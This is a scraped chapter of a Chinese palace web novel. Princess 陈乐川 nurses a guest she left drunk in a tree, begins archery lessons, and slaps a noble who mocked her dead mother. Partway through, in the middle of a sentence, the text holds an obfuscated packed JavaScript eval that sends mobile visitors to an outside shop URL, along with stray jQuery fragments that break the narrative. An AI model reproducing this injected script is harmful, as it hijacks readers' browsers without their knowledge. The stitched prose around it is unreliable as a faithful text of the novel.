20. 射艺

作品:《公主不朝

    喝到最后,竟然是白倚玉先醉的。


    陈乐川起初没有注意,只一边哭一边嘴里念叨着“不该生我”之类的话,等半天听无人回以安慰,才发现下头的白倚玉已经趴在树枝上睡过去了。


    “什么嘛,酒量还没第一次喝的我好。”她仰头饮完最后一滴,双颊未红,神情清醒,翻身跳下玉兰树,脚也仍能站稳。


    “原来酒也不过如此啊。”她又看了看在树上睡着的白倚玉,心中的恶劣情绪不断增长,便萌生了不管他的念头,让他以天为被就此入眠,自己回房睡觉了。


    第二天一早,陈乐川被明霞的尖叫声吵醒,她尚未梳洗就跑到院子里,生怕明霞出了什么意外。


    “怎么了?”她手里拎着惊蛰鼓,看着明霞指着空地上趴着的“人”。


    早已起床在做事的照霜和其他宫人也赶到院中。


    “出什么事了?”陈乐川刚问出口,就意识到那堆白色衣物底下的人是谁了。


    “快把他抬进去!”


    明霞愣住:“殿下您确定他不是刺客?我们是不是要先通知顾侍卫。”


    说顾侍卫,顾朗铮就到了。


    陈乐川宫中的异性侍从和侍卫少之又少,而他们又被安排在离宫门口最近的侍卫房和内侍院,顾朗铮听见后院动静反应自然慢些。


    “殿下,出什么事了?”顾朗铮提剑就要上前,被陈乐川拦下。


    “没事。”她指指被几个侍从抬起的白倚玉,“他喝醉了。”


    “您也喝了?”顾朗铮眉头一皱,立刻捕捉到陈乐川隐去的部分,“还留他在宫中过夜?殿下,虽然他帮我们破了白瓴公馆一案,可终究是个夏闵侍卫。”


    “我没留他过夜啊,他睡在树上。”


    陈乐川发觉自己争辩的模样像是回到从前,顾朗铮又变成了那个在月微山上关心自己管着自己的师兄,而自己还是那个任性听不进话的师妹。顿时一股暖流涌上她的心头。


    白倚玉被抬进偏殿,照霜出来跟陈乐川说:“殿下,那位……公子,好像伤风了。”


    “什么?他这么弱?”陈乐川心虚,毕竟是她把人撂在那里不管的,跟着照霜跑进偏殿。


    顾朗铮也跟了进去:“虽然天气尚且炎热,但也不能一晚上躺在地上啊。”


    “其实。”陈乐川进殿前回头看着他,“他昨天是在树上睡的,不知道什么时候才掉下来。”


    “什么?”殿内传来近乎气音的疑问。


    陈乐川见人醒了,犹豫不决,不敢进去。


    殿里气若游丝的声音又响了:“在门口了都不敢进来,胆小鬼。”


    “白倚玉你说谁呢?”她跨过门框进入殿内,看见白倚玉躺在床上,脸颊并不似昨晚醉酒的绯红,而是染病惹上的红。


    “不就是在树上睡一晚上嘛,多浪漫,多洒脱啊。”她底气不足,“谁小时候没遐想过?”


    床上人没回应,身后却先传来顾朗铮的闷笑,她扭头,看他那眼神,就像是在说:是,你陈乐川是遐想过,可哪次最后不是怕黑怕虫怕鬼,哭着求我背你回家。


    白倚玉被侍从扶着靠在床头,陈乐川还不太乐意,一直在旁边说什么“我的人你也敢使唤”。


    “你真伤风了?”遣散众人,陈乐川不去看他,只盯着脚尖。


    “哼。”他躺在床上,脸朝里不理陈乐川。


    陈乐川自觉气氛尴尬,只得找补:“昨晚……是我不对行了吧。”


    “哼?”他仍未动。


    “对不起。“陈乐川说出来才觉得千斤重担都放下了,“你就在这里养病吧我去看看药煎好了没给你端来。”


    说完她夺门而出。


    她溜达到前院,未进厨房就见明霞拿着几件窄袖短袍过来,问道:“这么快就做好了?”


    “当然了殿下,毕竟您等会就要去上课。”


    “等会。”陈乐川想起确有此事,“那快走吧,换衣服要紧。”


    陈乐川让明霞给自己简单用发带束发,换上朱红色窄袖短袍,下身穿着配套的长裤,脚上套了双皮质短靴,在镜子里一照,整个人神采奕奕。


    “出发。”她吩咐道。


    带着明霞和照霜来到教场,已经有一位与她打扮相似的女官在此等候。


    “下官参见殿下。”她躬身施礼,抬头一看,瞪大了眼睛,忘了尊卑,脱口而出:“怎么是你?”


    她一抬头,陈乐川也看清她的长相了,同样的话出口:“是你?”


    “你不是东华门侍卫吗?怎么改教射艺了?”


    刘飘云无奈笑道:“还不是拜殿下您所赐。”


    陈乐川闯宫那天,踩碎了袁侍卫的肩胛骨,袁副统领得知,一怒之下调当值的侍卫头领刘飘云去清扫马厩。皇后听说陈乐川要学射箭,专程跟兄长商量,二人一同向陈帝举荐说她射艺极佳,便同意让刘飘云当陈乐川的射艺老师。


    当然刘飘云只告诉了她自己扫马厩的事,至于为什么被调过来自己也是稀里糊涂的。


    见陈乐川脸上颜色难看,刘飘云拍拍她的肩:“放心吧,袁副统领早看我不顺眼了,他就是不信我能通过选拔,打败那一众官宦子弟当上头领。”


    “就算没有你那一脚,我肯定也是干上几天就被找借口调去别处了。”


    “实在对不住你。”陈乐川满怀歉意,眼角突然瞟到远处,校场上并无旁人。


    刘飘云见她在找其他人,解释道:“因为殿下您是初学,自然要勤勉些。”


    一旁侍从提醒道:“时辰不早了,殿下还是快些开始吧,三月后秋猎,陛下可是要殿下一同前去狩猎的。”


    陈乐川问道:“你是?”意思是你居然敢催促本宫?还拿陛下出面说事。


    那名侍从行礼道:“回殿下的话,奴才是陛下派来督察教学情况的人。”


    “哦。”陈乐川不悦,父皇居然专门找人看着自己上课,这是有多担心自己会出岔子!


    “那殿下,我们开始吧。”刘飘云开始正经,“敢问殿下,可知第一步要学什么?”


    日头偏


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104182|195219||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    移,众皇子公主以及宗室子弟到了陈乐川附近的空地上集合,教授的禁军统领还未到场,五皇子李顺铉故意撞了一下陈平锋:“二哥,您昨日缺课,想必是觉得自己射艺过人,不愿来吧。”


    六皇子陈遂钰也附和:“二哥,您就在王统领没来之前露两手吧,给我们开开眼。”


    大家心里都清楚昨日云妃下葬,可几位皇子仍然拿此事开他的玩笑。


    七皇子更是说:“二哥,只要您拉弓射中靶心,七弟把昨日母妃赏的镶了玉的长弓送你啊。”


    长弓还不是他们这个年纪可以用的,庄妃破例赏给皇儿也不会让他现在使用,所以这个彩头无甚吸引力。


    陈平锋装聋不理,暗暗伸手拉了拉弦,果真被人动了手脚,只要自己用力拉弓,肯定会闹出笑话。


    平日里他们上课用的弓箭都集中放在教场边的武器库内,每个人都有自己趁手的弓,昨日陈平锋没上课,其他几位皇子偷偷做过手脚也尚未可知。


    “怎么?二哥不想在我们面前施展施展?”


    陈宁玲不想看见兄弟姐妹不和,在一旁解围道:“二哥射艺自然是好的,不愿展示只是谦虚而已,是吧二哥?”


    陈平锋仍不动,拿着弓站在那里。


    素日被宠得娇纵的七皇子再次开口:“唉,其实只要二哥射一箭,我就把那长弓送你。毕竟我可不像有些人,我母妃疼我,可以随时再赏下十张八张。”


    闻言,陈平锋忍不了了,抬眼瞪了他一下。


    “若是云妃娘娘在地下知自己儿子这般窝囊,怕是连眼都闭不了吧。”一位宗室子弟见几位皇子都如此嘲讽,为了讨好他们,张口便添了一把火。


    话音未落,陈平锋似古井般毫无波澜的眸子闪过一丝杀意,他欲上前,将他推在地上,再狠狠揍他一顿。


    见他快步走动,其余人起哄似的大笑:“哑巴打人喽!哑巴打人喽!”


    陈平锋刚走到那名宗室子弟近前,就有支箭擦着那人的耳朵飞过,钉在他身后的箭靶上,正中红心。


    人群一下子安静了,那个人更是吓得一动不动。


    “刚才就是你拿本宫母妃开玩笑的?”手拿木弓的陈乐川满脸阴云,一步一步朝他们走来,像即将要捕食的猛兽。


    那人之前没见过陈乐川,不知她身份,但听到“母妃”二字,立刻反应过来是云妃娘娘的女儿。


    也就是宗亲们嘴里的“野丫头”。


    他自然不放在眼里,道:“不过是个养在乡野间的村妇,也敢对本公子撒野?”


    “啪!”


    因站在他面前,陈乐川并未拉出玲珑袖,而是用最简单粗暴的方式抬手给了他一个巴掌,打掉他几颗槽牙。


    人群里有人认出她,忙对那个挑衅的人说:“思齐你小心点!她就是上次踩断袁子逸肩胛骨的那个陈乐川!”


    此语一出,除了几名皇子公主,其余众人皆惊,纷纷议论。


    陈乐川仍满腔怒气:“是我。怎么,你也想躺上个一年半载?”